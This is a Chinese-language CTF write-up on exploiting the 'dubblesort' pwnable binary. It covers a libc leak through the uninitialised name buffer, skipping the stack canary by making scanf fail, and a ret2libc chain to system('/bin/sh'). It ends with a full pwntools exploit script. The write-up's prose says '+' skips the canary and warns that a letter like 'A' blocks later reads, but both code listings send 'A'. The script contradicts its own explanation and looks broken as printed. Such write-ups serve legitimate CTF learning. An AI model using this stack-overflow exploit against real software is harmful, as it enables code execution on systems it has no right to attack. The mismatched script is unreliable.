1 程序分析 32位,保护全开
1 2 3 4 5 6 7 8 9 (pwn) secreu@Vanilla:~/code/pwnable/dubblesort$ checksec --file=dubblesort [*] '/home/secreu/code/pwnable/dubblesort/dubblesort' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'/home/secreu/code/pwnable/dubblesort' FORTIFY: Enabled
题目提供的 libc 是 32 位 2.23 版本,要用 patchelf 替换同样版本解释器
1 2 3 4 5 6 (pwn) secreu@Vanilla:~/code/pwnable/dubblesort$ strings libc_32.so.6 | grep "Ubuntu GLIBC" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al. (pwn) secreu@Vanilla:~/code/pwnable/dubblesort$ ldd dubblesort linux-gate.so.1 (0xf7ec8000) ./libc_32.so.6 (0xf7d07000) /home/secreu/glibc-all-in-one/libs/2.23-0ubuntu3_i386/ld-linux.so.2 => /lib/ld-linux.so.2 (0xf7eca000)
1.1 程序流程 初步运行一下,先输入一个名字,它给你打个招呼,然后输入要排序的数字个数,依次输入数字,然后它会输出升序排序后的结果
1 2 3 4 5 6 7 8 9 10 11 (pwn) secreu@Vanilla:~/code/pwnable/dubblesort$ ./dubblesort What your name :aaa Hello aaa t���/,How many numbers do you what to sort :4 Enter the 0 number : 0 Enter the 1 number : 5 Enter the 2 number : 1 Enter the 3 number : 3 Processing...... Result : 0 1 3 5
但是这里有一个很奇怪的地方,它打招呼时紧跟在名字后面出现了其他字符,猜测缓冲区初始状态不是全 0,所以它输出了其中一部分内容
关注 main 函数中的几个关键变量
_BYTE v9[32]:存储无符号整型,根据定义其最多 8 个,但是数量是我们给的,这里可以溢出
_BYTE buf[64]:存储我们输入的名字字符串,最多 64 字节
unsigned int v11:存储 canary,其最低字节是 0,位置就在 buf 后边,因为 read(0, buf, 0x40u); 不存在溢出,无法从这里泄露 canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v3; _BYTE *v4; unsigned int i; unsigned int j; int result; unsigned int v8; _BYTE v9[32 ]; _BYTE buf[64 ]; unsigned int v11; v11 = __readgsdword(0x14u ); sub_8B5(); __printf_chk(1 , "What your name :" ); read(0 , buf, 0x40u ); __printf_chk(1 , "Hello %s,How many numbers do you what to sort :" ); __isoc99_scanf("%u" , &v8); v3 = v8; if ( v8 ) { v4 = v9; for ( i = 0 ; i < v8; ++i ) { __printf_chk(1 , "Enter the %d number : " ); fflush(stdout ); __isoc99_scanf("%u" , v4); v3 = v8; v4 += 4 ; } } sub_931(v9, v3); puts ("Result :" ); if ( v8 ) { for ( j = 0 ; j < v8; ++j ) __printf_chk(1 , "%u " ); } result = 0 ; if ( __readgsdword(0x14u ) != v11 ) sub_BA0(); return result; }
然后是 sub_931 函数,一个经典的冒泡排序(所以题目为什么不叫 bubblesort?)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 unsigned int __cdecl sub_931 (unsigned int *a1, int a2) { int v2; int i; unsigned int v4; unsigned int v5; unsigned int *v6; unsigned int result; unsigned int v8; v8 = __readgsdword(0x14u ); puts ("Processing......" ); sleep(1u ); if ( a2 != 1 ) { v2 = a2 - 2 ; for ( i = (int )&a1[a2 - 1 ]; ; i -= 4 ) { if ( v2 != -1 ) { v6 = a1; do { v4 = *v6; v5 = v6[1 ]; if ( *v6 > v5 ) { *v6 = v5; v6[1 ] = v4; } ++v6; } while ( (unsigned int *)i != v6 ); if ( !v2 ) break ; } --v2; } } result = __readgsdword(0x14u ) ^ v8; if ( result ) sub_BA0(); return result; }
1.2 缓冲区溢出 _BYTE v9[32] 存在溢出,下面这部分代码根据用户输入的数字,往 v9 写入了任意个无符号整型,但是根据定义其最多允许存储 8 个,我们可以利用这个覆盖返回地址,但是需要绕过 canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __printf_chk(1 , "Hello %s,How many numbers do you what to sort :" ); __isoc99_scanf("%u" , &v8); v3 = v8; if ( v8 ){ v4 = v9; for ( i = 0 ; i < v8; ++i ) { __printf_chk(1 , "Enter the %d number : " ); fflush(stdout ); __isoc99_scanf("%u" , v4); v3 = v8; v4 += 4 ; } }
2 漏洞利用 2.1 泄露 Libc 前面运行程序时发现,它输出我们输入的名字时多了一些其他字符,我们调试看看里面有什么 首先断点到 read 前查看 buf 的位置为 ebp - 0x5c
进一步查看其中有什么内容,发现在 buf + 24 处有一个明显位于 libc 的地址,我们只需要泄露这个地址,再减去 0x1b0000 就可以得到 libc 基址
因为该地址最低字节是 0,我们要填入 24 + 1 = 25 个字符,才能通过程序中的 __printf_chk 将其输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 offset = 25 io.sendafter(b'What your name :' , b'A' * offset) io.recvuntil(b'A' * offset) libc_1b0000 = u32(io.recvn(3 ).rjust(4 , b'\x00' )) log.info('libc_1b0000: ' + hex (libc_1b0000)) """ [DEBUG] Received 0x10 bytes: b'What your name :' [DEBUG] Sent 0x19 bytes: b'A' * 0x19 [DEBUG] Received 0x5a bytes: 00000000 48 65 6c 6c 6f 20 41 41 41 41 41 41 41 41 41 41 │Hell│o AA│AAAA│AAAA│ 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 a0 │AAAA│AAAA│AAAA│AAA·│ 00000020 f6 f7 44 82 f6 f7 01 96 5b 56 a9 97 5b 56 a0 af │··D·│····│[V··│[V··│ 00000030 5b 56 01 2c 48 6f 77 20 6d 61 6e 79 20 6e 75 6d │[V·,│How │many│ num│ 00000040 62 65 72 73 20 64 6f 20 79 6f 75 20 77 68 61 74 │bers│ do │you │what│ 00000050 20 74 6f 20 73 6f 72 74 20 3a │ to │sort│ :│ 0000005a [*] libc_1b0000: 0xf7f6a000 """
2.1 绕过 Canary 有了 libc 就可以构造 ROP,但是还有一个问题,如何绕过 canary 覆盖到返回地址? 程序每读一个 %u 到 v9 就 +4 继续读下一个,但是它并没有检查 scanf 的返回值,如果读取出现问题呢?
这里先说结论:可以通过输入 “+” 或者 “-“ 跳过当前地址的读取 原因如下:scanf 处理 number 时要应对正负数的情况,所以需要额外处理 “+” 和 “-“,这两个符号会进入其处理 number 的临时缓冲区 charbuf,然后继续读取下一个字符,最后读完。当只有一个 “+” 的时候,读完 “+” 并将其加入 charbuf,然后读到 “\n”,发现只有符号没有数字,就把 “\n” 退回到输入流,并退出返回 0(正常读取成功的返回值应该是 1),下一个 scanf 会跳过这个 “\n”。而其他字符比如 “A” 不会进入 charbuf,而时被退回输入流,从而阻塞下一个 scanf。感兴趣的话可以专门去读vfscanf源码
1 2 3 4 5 6 7 8 9 10 11 12 if ( v8 ){ v4 = v9; for ( i = 0 ; i < v8; ++i ) { __printf_chk(1 , "Enter the %d number : " ); fflush(stdout ); __isoc99_scanf("%u" , v4); v3 = v8; v4 += 4 ; } }
接下来就只需要布置 ROP 即可,这里还要注意 sub_931 会对所有数字进行升序排序,我们要保证我们输入的 ROP 不会被打乱,以及 canary 不会易位。可以在 canary 之前全填 0,canary 之后全填 libc 上的地址(最高字节 0xf7 非常大)
首先用 24 个 0 填充 canary 之前,然后 “+” 跳过 canary,接着 7 个 system 地址填充到 saved ebp,最后 saved eip 填 system,根据 x32 的调用规则,紧跟着还要填返回地址和参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 libc_base = libc_1b0000 - 0x1B0000 system = libc_base + libc.symbols['system' ] binsh = libc_base + next (libc.search(b'/bin/sh' )) io.sendlineafter(b'what to sort :' , b'35' ) for i in range (24 ): io.sendlineafter(b'number : ' , b'0' ) io.sendlineafter(b'number : ' , b'A' ) for i in range (9 ): io.sendlineafter(b'number : ' , str (system).encode()) io.sendlineafter(b'number : ' , str (binsh).encode()) io.interactive()
3 利用脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *elf = ELF('./dubblesort' ) libc = ELF('./libc_32.so.6' ) context(os=elf.os, arch=elf.arch, log_level='debug' ) io = process(elf.path) offset = 25 io.sendafter(b'What your name :' , b'A' * offset) io.recvuntil(b'A' * offset) libc_1b0000 = u32(io.recvn(3 ).rjust(4 , b'\x00' )) log.info('libc_1b0000: ' + hex (libc_1b0000)) libc_base = libc_1b0000 - 0x1B0000 system = libc_base + libc.symbols['system' ] binsh = libc_base + next (libc.search(b'/bin/sh' )) io.sendlineafter(b'what to sort :' , b'35' ) for i in range (24 ): io.sendlineafter(b'number : ' , b'0' ) io.sendlineafter(b'number : ' , b'A' ) for i in range (9 ): io.sendlineafter(b'number : ' , str (system).encode()) io.sendlineafter(b'number : ' , str (binsh).encode()) io.interactive()